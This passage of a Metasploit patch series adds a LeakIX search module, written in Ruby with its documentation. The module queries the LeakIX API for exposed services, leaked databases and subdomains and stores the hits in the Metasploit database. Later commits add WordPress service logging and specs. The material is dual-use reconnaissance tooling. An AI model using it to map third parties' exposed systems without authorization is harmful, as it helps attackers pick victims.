+ x.x.x.x:27017       mongodb   mongo.example.de        Germany  OVH SAS              MongoDB 4.4    leak  MongoOpenPlugin
+ ...
+
+[*] Auxiliary module execution completed
+```
+
+### Saving results to database
+
+Set `DATABASE true` to populate the Metasploit services database with discovered hosts and services:
+
+```
+msf6 auxiliary(gather/leakix_search) > set DATABASE true
+DATABASE => true
+msf6 auxiliary(gather/leakix_search) > run
+
+[*] Fetching page 1/1...
+[+] Got 20 results from page 1 (total: 20)
+[*] Total: 20 results
+...
+[*] Auxiliary module execution completed
+
+msf6 auxiliary(gather/leakix_search) > services
+
+Services
+========
+
+host          port   proto  name   state  info
+----          ----   -----  ----   -----  ----
+x.x.x.x      3306   tcp    mysql  open   MySQL 5.7
+x.x.x.x      22     tcp    ssh    open   OpenSSH 8.4
+...
+```
diff --git a/modules/auxiliary/gather/leakix_search.rb b/modules/auxiliary/gather/leakix_search.rb
new file mode 100644
index 0000000000000..81dfb59935922
--- /dev/null
+++ b/modules/auxiliary/gather/leakix_search.rb
@@ -0,0 +1,515 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Auxiliary
+  include Msf::Auxiliary::Report
+  include Msf::Exploit::Remote::HttpClient
+
+  LEAKIX_API_HOST = 'leakix.net'.freeze
+
+  def initialize(info = {})
+    super(
+      update_info(
+        info,
+        'Name' => 'LeakIX Search',
+        'Description' => %q{
+          This module uses the LeakIX API to search for exposed services and data leaks.
+          LeakIX is a search engine focused on indexing internet-exposed services and
+          leaked credentials/databases.
+
+          An API key is required (free at https://leakix.net).
+
+          Actions:
+          SEARCH     - Query LeakIX with a search string and scope (leak or service).
+                       Paginated, 20 results per page, max 500 pages (10000 results).
+                       Free accounts have lower page limits.
+          HOST       - Retrieve all known services and leaks for a given IP
+          DOMAIN     - Retrieve all known services and leaks for a given domain
+          SUBDOMAINS - List known subdomains for a given domain
+          PLUGINS    - List all available LeakIX scanner plugins
+          BULK       - Stream all leak results via the bulk API (Pro only, leak scope only).
+                       Use MAXRESULTS to limit the number of collected events.
+
+          Query examples:
+          +country:"France"
+          +port:3306 +country:"Germany"
+          plugin:HttpOpenProxy
+          +software.name:"nginx" +country:"US"
+        },
+        'Author' => [
+          'Valentin Lobstein <chocapikk[at]leakix.net>',
+          'LeakIX <support[at]leakix.net>'
+        ],
+        'References' => [
+          ['URL', 'https://leakix.net'],
+          ['URL', 'https://docs.leakix.net'],
+          ['URL', 'https://github.com/LeakIX/LeakPy']
+        ],
+        'License' => MSF_LICENSE,
+        'Notes' => {
+          'Stability' => [CRASH_SAFE],
+          'SideEffects' => [IOC_IN_LOGS],
+          'Reliability' => []
+        },
+        'Actions' => [
+          ['SEARCH', { 'Description' => 'Search LeakIX for services or leaks' }],
+          ['HOST', { 'Description' => 'Get details for a specific IP address' }],
+          ['DOMAIN', { 'Description' => 'Get details for a specific domain' }],
+          ['SUBDOMAINS', { 'Description' => 'List subdomains for a domain' }],
+          ['PLUGINS', { 'Description' => 'List available LeakIX plugins' }],
+          ['BULK', { 'Description' => 'Bulk search via streaming API (Pro only, leak scope only)' }]
+        ],
+        'DefaultAction' => 'SEARCH'
+      )
+    )
+
+    register_options([
+      OptString.new('LEAKIX_APIKEY', [true, 'The LeakIX API key']),
+      OptString.new('QUERY', [false, 'The LeakIX search query']),
+      OptEnum.new('SCOPE', [true, 'Search scope (BULK only supports leak)', 'leak', ['leak', 'service']]),
+      OptInt.new('MAXPAGE', [true, 'Max pages to collect (1-500, 20 results/page)', 1]),
+      OptInt.new('MAXRESULTS', [false, 'Stop after collecting this many results (0 = unlimited)', 0]),
+      OptString.new('TARGET_IP', [false, 'Target IP for HOST action']),
+      OptString.new('TARGET_DOMAIN', [false, 'Target domain for DOMAIN/SUBDOMAINS actions']),
+      OptString.new('OUTFILE', [false, 'Path to the file to store results']),
+      OptBool.new('DATABASE', [false, 'Add search results to the database', false])
+    ])
+
+    register_advanced_options([
+      OptString.new('UserAgent', [false, 'The User-Agent header to use for all requests', 'LeakIX/Metasploit'])
+    ])
+
+    deregister_http_client_options
+  end
+
+  # ========================================================================
+  # HTTP HELPERS
+  # ========================================================================
+
+  def resolve_host
+    return @resolved_ip if @resolved_ip
+
+    @resolved_ip = ::Addrinfo.getaddrinfo(LEAKIX_API_HOST, nil, :INET, :STREAM).first&.ip_address
+    fail_with(Failure::Unreachable, "Unable to resolve #{LEAKIX_API_HOST}") unless @resolved_ip
+    vprint_status("Resolved #{LEAKIX_API_HOST} to #{@resolved_ip}")
+    @resolved_ip
+  rescue ::SocketError => e
+    fail_with(Failure::Unreachable, "Unable to resolve #{LEAKIX_API_HOST}: #{e}")
+  end
+
+  def leakix_headers
+    {
+      'Host' => LEAKIX_API_HOST,
+      'api-key' => datastore['LEAKIX_APIKEY'],
+      'Accept' => 'application/json'
+    }
+  end
+
+  def leakix_connection_opts
+    {
+      'rhost' => resolve_host,
+      'rport' => 443,
+      'SSL' => true,
+      'vhost' => LEAKIX_API_HOST
+    }
+  end
+
+  def leakix_request(uri, params = {})
+    res = send_request_cgi(
+      leakix_connection_opts.merge(
+        'method' => 'GET',
+        'uri' => uri,
+        'headers' => leakix_headers,
+        'vars_get' => params
+      )
+    )
+
+    handle_response_errors(res)
+    return nil unless res&.code == 200
+
+    begin
+      ActiveSupport::JSON.decode(res.body)
+    rescue StandardError
+      nil
+    end
+  end
+
+  def handle_response_errors(res)
+    fail_with(Failure::Unreachable, 'No response from LeakIX API') unless res
+
+    case res.code
+    when 401
+      fail_with(Failure::BadConfig, '401 Unauthorized. Your LEAKIX_APIKEY is invalid')
+    when 429
+      wait_seconds = res.headers['x-limited-for'] || 'unknown'
+      print_warning("Rate limited. Wait #{wait_seconds} seconds before retrying.")
+    end
+  end
+
+  # ========================================================================
+  # EVENT PARSING & OUTPUT
+  # ========================================================================
+
+  def extract_event_fields(event)
+    {
+      ip: event['ip'] || '',
+      port: event['port'] || '',
+      host: event['host'] || '',
+      protocol: event['protocol'] || '',
+      event_type: event['event_type'] || '',
+      event_source: event['event_source'] || '',
+      country: event.dig('geoip', 'country_name') || '',
+      org: event.dig('network', 'organization_name') || '',
+      software: event.dig('service', 'software', 'name') || '',
+      version: event.dig('service', 'software', 'version') || ''
+    }
+  end
+
+  def software_label(fields)
+    fields[:software].to_s.empty? ? '' : "#{fields[:software]} #{fields[:version]}".strip
+  end
+
+  def report_event(fields)
+    return unless datastore['DATABASE']
+
+    report_host(host: fields[:ip], name: fields[:host], comments: 'Added from LeakIX')
+
+    return unless fields[:port].to_s =~ /^\d+$/ && fields[:port].to_i > 0
+
+    report_service(host: fields[:ip], port: fields[:port], proto: 'tcp', name: fields[:protocol], info: software_label(fields))
+  end
+
+  def events_table(events)
+    tbl = Rex::Text::Table.new(
+      'Header' => 'LeakIX Results',
+      'Indent' => 1,
+      'Columns' => ['IP:Port', 'Protocol', 'Host', 'Country', 'Organization', 'Software', 'Type', 'Source']
+    )
+
+    events.each do |event|
+      next unless event.is_a?(Hash)
+
+      fields = extract_event_fields(event)
+      tbl << [
+        "#{fields[:ip]}:#{fields[:port]}",
+        fields[:protocol],
+        fields[:host],
+        fields[:country],
+        fields[:org],
+        software_label(fields),
+        fields[:event_type],
+        fields[:event_source]
+      ]
+      report_event(fields)
+    end
+
+    tbl
+  end
+
+  def save_output(data)
+    return unless datastore['OUTFILE']
+
+    ::File.open(datastore['OUTFILE'], 'wb') do |f|
+      f.write(data)
+      print_status("Saved results in #{datastore['OUTFILE']}")
+    end
+  end
+
+  def display_events(events, label = nil)
+    if events.empty?
+      print_error('No results found.')
+      return
+    end
+
+    print_status("#{label || 'Total'}: #{events.length} results")
+    tbl = events_table(events)
+    print_line(tbl.to_s)
+    save_output(tbl)
+  end
+
+  def collect_host_events(data)
+    events = []
+    %w[Services Leaks services leaks].each do |key|
+      events.concat(data[key]) if data[key].is_a?(Array)
+    end
+    events
+  end
+
+  def apply_maxresults(events, maxresults)
+    return events unless maxresults > 0 && events.length >= maxresults
+
+    print_status("Reached MAXRESULTS limit (#{maxresults})")
+    events.first(maxresults)
+  end
+
+  # ========================================================================
+  # ACTIONS
+  # ========================================================================
+
+  def action_search
+    query = datastore['QUERY']
+    scope = datastore['SCOPE']
+    maxpage = datastore['MAXPAGE']
+    maxresults = datastore['MAXRESULTS'].to_i
+    all_events = []
+
+    maxpage.times do |page|
+      print_status("Fetching page #{page + 1}/#{maxpage}...")
+
+      data = leakix_request('/search', { 'q' => query, 'scope' => scope, 'page' => page.to_s })
+
+      if data.is_a?(Hash) && data['Error'] == 'Page limit'
+        print_error("Page limit reached at page #{page + 1}")
+        break
+      end
+
+      if data.nil? || !data.is_a?(Array) || data.empty?
+        print_warning("No more results at page #{page + 1}")
+        break
+      end
+
+      all_events.concat(data)
+      print_good("Got #{data.length} results from page #{page + 1} (total: #{all_events.length})")
+
+      if maxresults > 0 && all_events.length >= maxresults
+        all_events = apply_maxresults(all_events, maxresults)
+        break
+      end
+
+      Rex.sleep(1.2) if page < maxpage - 1
+    end
+
+    display_events(all_events)
+  end
+
+  def action_bulk
+    query = datastore['QUERY']
+    maxresults = datastore['MAXRESULTS'].to_i
+
+    print_status('Streaming bulk results (Pro API required, leak scope)...')
+
+    cli = connect(leakix_connection_opts)
+    req = cli.request_cgi(
+      'method' => 'GET',
+      'uri' => '/bulk/search',
+      'headers' => leakix_headers,
+      'vars_get' => { 'q' => query }
+    )
+
+    cli.send_request(req)
+
+    head, body_start = read_stream_headers(cli.conn)
+    status = head[/HTTP\/[\d.]+ (\d+)/, 1].to_i
+
+    case status
+    when 401 then fail_with(Failure::BadConfig, '401 Unauthorized - invalid LEAKIX_APIKEY')
+    when 429 then fail_with(Failure::NoAccess, '429 Rate limited')
+    when 200 then nil
+    else fail_with(Failure::UnexpectedReply, "HTTP #{status} - Pro API key required")
+    end
+
+    chunked = head =~ /transfer-encoding:\s*chunked/i
+    all_events = []
+    limit_reached = false
+
+    stream_ndjson(cli.conn, body_start, chunked) do |line|
+      break if limit_reached
+
+      obj = ActiveSupport::JSON.decode(line)
+      next unless obj.is_a?(Hash) && obj['events'].is_a?(Array)
+
+      all_events.concat(obj['events'])
+      obj['events'].each { |e| report_event(extract_event_fields(e)) }
+      print_status("Streamed #{all_events.length} events...") if (all_events.length % 50).zero?
+
+      if maxresults > 0 && all_events.length >= maxresults
+        all_events = apply_maxresults(all_events, maxresults)
+        limit_reached = true
+      end
+    rescue StandardError
+      next
+    end
+
+    display_events(all_events, 'Bulk results')
+  ensure
+    cli&.close
+  end
+
+  def action_host_or_domain(type, target)
+    print_status("Fetching #{type} details for #{target}...")
+    data = leakix_request("/#{type}/#{target}")
+
+    if data.nil?
+      print_error("No information found for #{target}")
+      return
+    end
+
+    display_events(collect_host_events(data), target)
+  end
+
+  def action_subdomains
+    domain = datastore['TARGET_DOMAIN']
+    print_status("Fetching subdomains for #{domain}...")
+    data = leakix_request("/api/subdomains/#{domain}")
+
+    if data.nil? || !data.is_a?(Array) || data.empty?
+      print_error("No subdomains found for #{domain}")
+      return
+    end
+
+    tbl = Rex::Text::Table.new(
+      'Header' => "Subdomains for #{domain}",
+      'Indent' => 1,
+      'Columns' => ['Subdomain', 'Distinct IPs', 'Last Seen']
+    )
+
+    seen = Set.new
+    data.each do |entry|
+      next unless entry.is_a?(Hash)
+
+      subdomain = entry['subdomain'] || ''
+      next if subdomain.empty? || seen.include?(subdomain)
+
+      seen.add(subdomain)
+      tbl << [subdomain, entry['distinct_ips'] || '', entry['last_seen'] || '']
+    end
+
+    print_status("Found #{seen.length} subdomains")
+    print_line(tbl.to_s)
+    save_output(tbl)
+  end
+
+  def action_plugins
+    print_status('Fetching available plugins...')
+    data = leakix_request('/api/plugins')
+
+    if data.nil? || !data.is_a?(Array) || data.empty?
+      print_error('No plugins found')
+      return
+    end
+
+    tbl = Rex::Text::Table.new(
+      'Header' => 'LeakIX Plugins',
+      'Indent' => 1,
+      'Columns' => ['Plugin Name']
+    )
+
+    data.each do |plugin|
+      name = plugin.is_a?(Hash) ? plugin['name'] : plugin.to_s
+      tbl << [name] if name.present?
+    end
+
+    print_status("Found #{tbl.rows.length} plugins")
+    print_line(tbl.to_s)
+    save_output(tbl)
+  end
+
+  # ========================================================================
+  # STREAMING HELPERS
+  # ========================================================================
+
+  def read_stream_headers(sock)
+    buf = ''
+    loop do
+      chunk = sock.get_once(4096, 30)
+      fail_with(Failure::Unreachable, 'Connection closed while reading headers') unless chunk
+
+      buf << chunk
+      break if buf.include?("\r\n\r\n")
+    end
+    buf.split("\r\n\r\n", 2)
+  end
+
+  def stream_ndjson(sock, initial, chunked, &block)
+    if chunked
+      stream_dechunk(sock, initial || '', &block)
+    else
+      stream_lines(sock, initial || '', &block)
+    end
+  end
+
+  def stream_lines(sock, buf)
+    loop do
+      while (idx = buf.index("\n"))
+        line = buf.slice!(0, idx + 1).strip
+        yield line unless line.empty?
+      end
+
+      data = begin
+        sock.get_once(4096, 30)
+      rescue ::Errno::EPIPE, ::EOFError, ::IOError
+        nil
+      end
+      break unless data
+
+      buf << data
+    end
+    yield buf.strip unless buf.strip.empty?
+  end
+
+  def stream_dechunk(sock, buf)
+    line_acc = ''
+    loop do
+      buf << read_socket(sock) until buf.include?("\r\n")
+
+      size_str, buf = buf.split("\r\n", 2)
+      size = size_str.strip.to_i(16)
+      break if size == 0
+
+      buf << read_socket(sock) while buf.length < size + 2
+
+      line_acc << buf.slice!(0, size)
+      buf = buf[(2)..] || '' # trailing \r\n
+
+      while (idx = line_acc.index("\n"))
+        line = line_acc.slice!(0, idx + 1).strip
+        yield line unless line.empty?
+      end
+    rescue ::Errno::EPIPE, ::EOFError, ::IOError
+      break
+    end
+
+    yield line_acc.strip unless line_acc.strip.empty?
+  end
+
+  def read_socket(sock)
+    data = sock.get_once(4096, 30)
+    raise ::EOFError, 'Connection closed' unless data
+
+    data
+  end
+
+  # ========================================================================
+  # MAIN
+  # ========================================================================
+
+  def validate_options!
+    case action.name
+    when 'SEARCH', 'BULK'
+      fail_with(Failure::BadConfig, "QUERY is required for #{action.name} action") if datastore['QUERY'].blank?
+    when 'HOST'
+      fail_with(Failure::BadConfig, 'TARGET_IP is required for HOST action') if datastore['TARGET_IP'].blank?
+    when 'DOMAIN', 'SUBDOMAINS'
+      fail_with(Failure::BadConfig, "TARGET_DOMAIN is required for #{action.name} action") if datastore['TARGET_DOMAIN'].blank?
+    end
+
+    fail_with(Failure::BadConfig, 'BULK action only supports leak scope') if action.name == 'BULK' && datastore['SCOPE'] == 'service'
+    fail_with(Failure::BadConfig, 'MAXPAGE must be between 1 and 500') unless datastore['MAXPAGE'].to_i.between?(1, 500)
+    fail_with(Failure::BadConfig, 'MAXRESULTS must be >= 0') if datastore['MAXRESULTS'].to_i < 0
+  end
+
+  def run
+    validate_options!
+
+    case action.name
+    when 'SEARCH' then action_search
+    when 'BULK' then action_bulk
+    when 'HOST' then action_host_or_domain('host', datastore['TARGET_IP'])
+    when 'DOMAIN' then action_host_or_domain('domain', datastore['TARGET_DOMAIN'])
+    when 'SUBDOMAINS' then action_subdomains
+    when 'PLUGINS' then action_plugins
+    end
+  end
+end

From a4d38cda040cf1ab6e8c0d9099875faa7c378a18 Mon Sep 17 00:00:00 2001
From: Valentin Lobstein <balgogan@protonmail.com>
Date: Sat, 21 Feb 2026 10:52:04 +0100
Subject: [PATCH 016/103] Fix: Resolve rubocop offenses in leakix_search module

---
 modules/auxiliary/gather/leakix_search.rb | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/modules/auxiliary/gather/leakix_search.rb b/modules/auxiliary/gather/leakix_search.rb
index 81dfb59935922..643d79bd415cb 100644
--- a/modules/auxiliary/gather/leakix_search.rb
+++ b/modules/auxiliary/gather/leakix_search.rb
@@ -23,14 +23,14 @@ def initialize(info = {})
 
           Actions:
           SEARCH     - Query LeakIX with a search string and scope (leak or service).
-                       Paginated, 20 results per page, max 500 pages (10000 results).
-                       Free accounts have lower page limits.
+          Paginated, 20 results per page, max 500 pages (10000 results).
+          Free accounts have lower page limits.
           HOST       - Retrieve all known services and leaks for a given IP
           DOMAIN     - Retrieve all known services and leaks for a given domain
           SUBDOMAINS - List known subdomains for a given domain
           PLUGINS    - List all available LeakIX scanner plugins
           BULK       - Stream all leak results via the bulk API (Pro only, leak scope only).
-                       Use MAXRESULTS to limit the number of collected events.
+          Use MAXRESULTS to limit the number of collected events.
 
           Query examples:
           +country:"France"
@@ -301,7 +301,7 @@ def action_bulk
     cli.send_request(req)
 
     head, body_start = read_stream_headers(cli.conn)
-    status = head[/HTTP\/[\d.]+ (\d+)/, 1].to_i
+    status = head[%r{HTTP/[\d.]+ (\d+)}, 1].to_i
 
     case status
     when 401 then fail_with(Failure::BadConfig, '401 Unauthorized - invalid LEAKIX_APIKEY')
@@ -439,7 +439,7 @@ def stream_lines(sock, buf)
 
       data = begin
         sock.get_once(4096, 30)
-      rescue ::Errno::EPIPE, ::EOFError, ::IOError
+      rescue ::Errno::EPIPE, ::IOError
         nil
       end
       break unless data
@@ -467,7 +467,7 @@ def stream_dechunk(sock, buf)
         line = line_acc.slice!(0, idx + 1).strip
         yield line unless line.empty?
       end
-    rescue ::Errno::EPIPE, ::EOFError, ::IOError
+    rescue ::Errno::EPIPE, ::IOError
       break
     end
 

From d8d844980acf82f385149edd84b8c09b12e009c5 Mon Sep 17 00:00:00 2001
From: Valentin Lobstein <balgogan@protonmail.com>
Date: Sat, 21 Feb 2026 10:53:44 +0100
Subject: [PATCH 017/103] Fix: Remove non-existent LeakPy GitHub reference

---
 modules/auxiliary/gather/leakix_search.rb | 3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

diff --git a/modules/auxiliary/gather/leakix_search.rb b/modules/auxiliary/gather/leakix_search.rb
index 643d79bd415cb..527bcabdb5be4 100644
--- a/modules/auxiliary/gather/leakix_search.rb
+++ b/modules/auxiliary/gather/leakix_search.rb
@@ -44,8 +44,7 @@ def initialize(info = {})
         ],
         'References' => [
           ['URL', 'https://leakix.net'],
-          ['URL', 'https://docs.leakix.net'],
-          ['URL', 'https://github.com/LeakIX/LeakPy']
+          ['URL', 'https://docs.leakix.net']
         ],
         'License' => MSF_LICENSE,
         'Notes' => {

From 20dd4af5d1248bd0ea6edf800eade4a9884ffaff Mon Sep 17 00:00:00 2001
From: Valentin Lobstein <balgogan@protonmail.com>
Date: Sat, 21 Feb 2026 10:56:54 +0100
Subject: [PATCH 018/103] Refactor: DRY print_table and empty_array helpers

---
 modules/auxiliary/gather/leakix_search.rb | 26 +++++++++++++----------
 1 file changed, 15 insertions(+), 11 deletions(-)

diff --git a/modules/auxiliary/gather/leakix_search.rb b/modules/auxiliary/gather/leakix_search.rb
index 527bcabdb5be4..a5ddd3e65f135 100644
--- a/modules/auxiliary/gather/leakix_search.rb
+++ b/modules/auxiliary/gather/leakix_search.rb
@@ -216,6 +216,15 @@ def save_output(data)
     end
   end
 
+  def print_table(tbl)
+    print_line(tbl.to_s)
+    save_output(tbl)
+  end
+
+  def empty_array?(data)
+    data.nil? || !data.is_a?(Array) || data.empty?
+  end
+
   def display_events(events, label = nil)
     if events.empty?
       print_error('No results found.')
@@ -223,9 +232,7 @@ def display_events(events, label = nil)
     end
 
     print_status("#{label || 'Total'}: #{events.length} results")
-    tbl = events_table(events)
-    print_line(tbl.to_s)
-    save_output(tbl)
+    print_table(events_table(events))
   end
 
   def collect_host_events(data)
@@ -264,14 +271,13 @@ def action_search
         break
       end
 
-      if data.nil? || !data.is_a?(Array) || data.empty?
+      if empty_array?(data)
         print_warning("No more results at page #{page + 1}")
         break
       end
 
       all_events.concat(data)
       print_good("Got #{data.length} results from page #{page + 1} (total: #{all_events.length})")
-
       if maxresults > 0 && all_events.length >= maxresults
         all_events = apply_maxresults(all_events, maxresults)
         break
@@ -353,7 +359,7 @@ def action_subdomains
     print_status("Fetching subdomains for #{domain}...")
     data = leakix_request("/api/subdomains/#{domain}")
 
-    if data.nil? || !data.is_a?(Array) || data.empty?
+    if empty_array?(data)
       print_error("No subdomains found for #{domain}")
       return
     end
@@ -376,15 +382,14 @@ def action_subdomains
     end
 
     print_status("Found #{seen.length} subdomains")
-    print_line(tbl.to_s)
-    save_output(tbl)
+    print_table(tbl)
   end
 
   def action_plugins
     print_status('Fetching available plugins...')
     data = leakix_request('/api/plugins')
 
-    if data.nil? || !data.is_a?(Array) || data.empty?
+    if empty_array?(data)
       print_error('No plugins found')
       return
     end
@@ -401,8 +406,7 @@ def action_plugins
     end
 
     print_status("Found #{tbl.rows.length} plugins")
-    print_line(tbl.to_s)
-    save_output(tbl)
+    print_table(tbl)
   end
 
   # ========================================================================

From d069cba900b3343cae600f2d44b797c9878bbd8e Mon Sep 17 00:00:00 2001
From: Nayera <nayera.shafeeq@gmail.com>
Date: Thu, 12 Feb 2026 02:44:36 +0200
Subject: [PATCH 019/103] Update Wordpress Mixin to log services

---
 lib/msf/core/exploit/remote/http/wordpress.rb | 10 ++++++++++
 .../exploit/remote/http/wordpress/base.rb     |  6 +++++-
 .../exploit/remote/http/wordpress/version.rb  |  2 ++
 .../core/exploit/http/wordpress/base_spec.rb  | 19 ++++++++++++++++++
 .../exploit/http/wordpress/version_spec.rb    | 20 +++++++++++++++++++
 5 files changed, 56 insertions(+), 1 deletion(-)

diff --git a/lib/msf/core/exploit/remote/http/wordpress.rb b/lib/msf/core/exploit/remote/http/wordpress.rb
index 401416faad713..b9a9c88fbbcf6 100644
--- a/lib/msf/core/exploit/remote/http/wordpress.rb
+++ b/lib/msf/core/exploit/remote/http/wordpress.rb
@@ -38,6 +38,16 @@ def initialize(info = {})
           def wp_content_dir
             datastore['WPCONTENTDIR']
           end
+          
+          def report_wordpress_service
+            report_service(
+              host: rhost,
+              port: rport,
+              proto: 'tcp',
+              name: ssl ? 'https' : 'http',
+              info: 'WordPress'
+            )
+          end
         end
       end
     end
diff --git a/lib/msf/core/exploit/remote/http/wordpress/base.rb b/lib/msf/core/exploit/remote/http/wordpress/base.rb
index 44230ee82f4cc..72c88b0e0b335 100644
--- a/lib/msf/core/exploit/remote/http/wordpress/base.rb
+++ b/lib/msf/core/exploit/remote/http/wordpress/base.rb
@@ -29,7 +29,11 @@ def wordpress_and_online?
       )
     end
 
-    return res if res && res.code == 200 && res.body && wordpress_detect_regexes.any? { |r| res.body =~ r }
+    if res && res.code == 200 && res.body && wordpress_detect_regexes.any? { |r| res.body =~ r }
+      report_wordpress_service
+      return res
+    end
+    
     return nil
   rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
     print_error("Error connecting to #{target_uri}: #{e}")
diff --git a/lib/msf/core/exploit/remote/http/wordpress/version.rb b/lib/msf/core/exploit/remote/http/wordpress/version.rb
index 8b979568e39e4..e80768cbfc6e3 100644
--- a/lib/msf/core/exploit/remote/http/wordpress/version.rb
+++ b/lib/msf/core/exploit/remote/http/wordpress/version.rb
@@ -152,6 +152,8 @@ def check_version_from_readme(type, name, fixed_version = nil, vuln_introduced_v
       return check_theme_version_from_style(name, fixed_version, vuln_introduced_version) if type == :theme
     end
 
+    report_wordpress_service
+    
     version_res = extract_and_check_version(res.body.to_s, :readme, type, fixed_version, vuln_introduced_version)
     if version_res == Msf::Exploit::CheckCode::Detected && type == :theme
       # If no version could be found in readme.txt for a theme, try style.css
diff --git a/spec/lib/msf/core/exploit/http/wordpress/base_spec.rb b/spec/lib/msf/core/exploit/http/wordpress/base_spec.rb
index 115df908b14b0..4803886cc359b 100644
--- a/spec/lib/msf/core/exploit/http/wordpress/base_spec.rb
+++ b/spec/lib/msf/core/exploit/http/wordpress/base_spec.rb
@@ -12,6 +12,7 @@
 
   describe '#wordpress_and_online?' do
     before :example do
+      allow(subject).to receive(:report_service)
       allow(subject).to receive(:send_request_cgi) do
         res = Rex::Proto::Http::Response.new
         res.code = wp_code
@@ -48,6 +49,24 @@
       it { expect(subject.wordpress_and_online?).to be_nil }
     end
 
+    
+    context 'when WordPress is detected' do
+      let(:wp_body) { '<a href="http://domain.com/wp-content/themes/a/style.css">' }
+
+      it 'reports the WordPress service over HTTP' do
+        expect(subject).to receive(:report_service).with(hash_including(name: 'http', info: 'WordPress'))
+        subject.wordpress_and_online?
+      end
+    end
+
+    context 'when WordPress is not detected' do
+      let(:wp_body) { 'Invalid body' }
+
+      it 'does not report the WordPress service' do
+        expect(subject).not_to receive(:report_service)
+        subject.wordpress_and_online?
+      end
+    end
   end
 
 end
diff --git a/spec/lib/msf/core/exploit/http/wordpress/version_spec.rb b/spec/lib/msf/core/exploit/http/wordpress/version_spec.rb
index 44cc31be3ff31..8eb43c6d6230f 100644
--- a/spec/lib/msf/core/exploit/http/wordpress/version_spec.rb
+++ b/spec/lib/msf/core/exploit/http/wordpress/version_spec.rb
@@ -64,6 +64,7 @@
 
   describe '#check_version_from_readme' do
     before :example do
+      allow(subject).to receive(:report_service)
       allow(subject).to receive(:send_request_cgi) do |opts|
         res = Rex::Proto::Http::Response.new
         res.code = wp_code
@@ -181,6 +182,25 @@
         expect(ret.reason).to eq(expected_checkcode.reason)
       end
     end
+    
+    context 'when a readme is found' do
+      let(:wp_code) { 200 }
+      let(:wp_body) { 'stable tag: 1.0.0' }
+
+      it 'reports the WordPress service over HTTP' do
+        expect(subject).to receive(:report_service).with(hash_including(name: 'http', info: 'WordPress'))
+        subject.send(:check_version_from_readme, :plugin, 'name')
+      end
+    end
+
+    context 'when no readme is found for a plugin' do
+      let(:wp_code) { 404 }
+
+      it 'does not report the WordPress service' do
+        expect(subject).not_to receive(:report_service)
+        subject.send(:check_version_from_readme, :plugin, 'name')
+      end
+    end
   end
 
   describe '#check_theme_version_from_style' do

From 9aa58fcb52b1120fdd92dae5f5d41b6331a8a915 Mon Sep 17 00:00:00 2001
From: Nayeraneru <nayera.shafeeq@gmail.com>
Date: Mon, 16 Feb 2026 21:19:49 +0200
Subject: [PATCH 020/103] Refactor WordPress service reporting

---
 lib/msf/core/exploit/remote/http/wordpress.rb | 17 +++++++++++++++--
 1 file changed, 15 insertions(+), 2 deletions(-)

diff --git a/lib/msf/core/exploit/remote/http/wordpress.rb b/lib/msf/core/exploit/remote/http/wordpress.rb
index b9a9c88fbbcf6..e41b9ce36c551 100644
--- a/lib/msf/core/exploit/remote/http/wordpress.rb
+++ b/lib/msf/core/exploit/remote/http/wordpress.rb
@@ -38,14 +38,27 @@ def initialize(info = {})
           def wp_content_dir
             datastore['WPCONTENTDIR']
           end
-          
+
           def report_wordpress_service
             report_service(
               host: rhost,
               port: rport,
               proto: 'tcp',
               name: ssl ? 'https' : 'http',
-              info: 'WordPress'
+              name: 'WordPress',
+              parents: {
+                name: ssl ? 'https' : 'http',
+                host: rhost,
+                port: rport,
+                proto: 'tcp',
+                parents: {
+                  name: 'tcp',
+                  host: rhost,
+                  port: rport,
+                  proto: 'tcp',
+                  parents: nil
+                }
+              }
             )
           end
         end

From b227635c7b349ae23d308209e18efbed5db7ce68 Mon Sep 17 00:00:00 2001
From: Nayera <115358236+Nayeraneru@users.noreply.github.com>
Date: Mon, 16 Feb 2026 22:23:31 +0200
Subject: [PATCH 021/103] Fix service name reporting for WordPress exploit

---
 lib/msf/core/exploit/remote/http/wordpress.rb | 1 -
 1 file changed, 1 deletion(-)

diff --git a/lib/msf/core/exploit/remote/http/wordpress.rb b/lib/msf/core/exploit/remote/http/wordpress.rb
index e41b9ce36c551..0260a72ec466a 100644
--- a/lib/msf/core/exploit/remote/http/wordpress.rb
+++ b/lib/msf/core/exploit/remote/http/wordpress.rb
@@ -44,7 +44,6 @@ def report_wordpress_service
               host: rhost,
               port: rport,
               proto: 'tcp',
-              name: ssl ? 'https' : 'http',
               name: 'WordPress',
               parents: {
                 name: ssl ? 'https' : 'http',

From 8fb5e4fcad0b03ff171da6d5e5a15928e61683ff Mon Sep 17 00:00:00 2001
From: Nayera <115358236+Nayeraneru@users.noreply.github.com>
Date: Tue, 24 Feb 2026 02:52:46 +0200
Subject: [PATCH 022/103] Update
 spec/lib/msf/core/exploit/http/wordpress/version_spec.rb

Co-authored-by: msutovsky-r7 <martin_sutovsky@rapid7.com>
---
 .../exploit/http/wordpress/version_spec.rb     | 18 +++++++++++++++++-
 1 file changed, 17 insertions(+), 1 deletion(-)

diff --git a/spec/lib/msf/core/exploit/http/wordpress/version_spec.rb b/spec/lib/msf/core/exploit/http/wordpress/version_spec.rb
index 8eb43c6d6230f..8cf3bdfe41424 100644
--- a/spec/lib/msf/core/exploit/http/wordpress/version_spec.rb
+++ b/spec/lib/msf/core/exploit/http/wordpress/version_spec.rb
@@ -188,7 +188,23 @@
       let(:wp_body) { 'stable tag: 1.0.0' }
 
       it 'reports the WordPress service over HTTP' do
-        expect(subject).to receive(:report_service).with(hash_including(name: 'http', info: 'WordPress'))
+        expect(subject).to receive(:report_service).with(hash_including({host: nil,
+port: 80,
+proto: 'tcp',
+name: 'WordPress',
+parents: {
+  name: 'https',
+  host: nil,
+  port: 80,
+  proto: 'tcp',
+  parents: {
+    name: 'tcp',
+    host: nil,
+    port: 80,
+    proto: 'tcp',
+    parents: nil
+  }
+}}))
         subject.send(:check_version_from_readme, :plugin, 'name')
       end
     end

From e6452f5879e6546234cdd3054edb3908cc2e92e2 Mon Sep 17 00:00:00 2001
From: Nayeraneru <nayera.shafeeq@gmail.com>
Date: Tue, 24 Feb 2026 03:10:47 +0200
Subject: [PATCH 023/103] hashing adjustment

---
 .../core/exploit/http/wordpress/base_spec.rb  | 21 +++++++++++-
 .../exploit/http/wordpress/version_spec.rb    | 34 ++++++++++---------
 2 files changed, 38 insertions(+), 17 deletions(-)

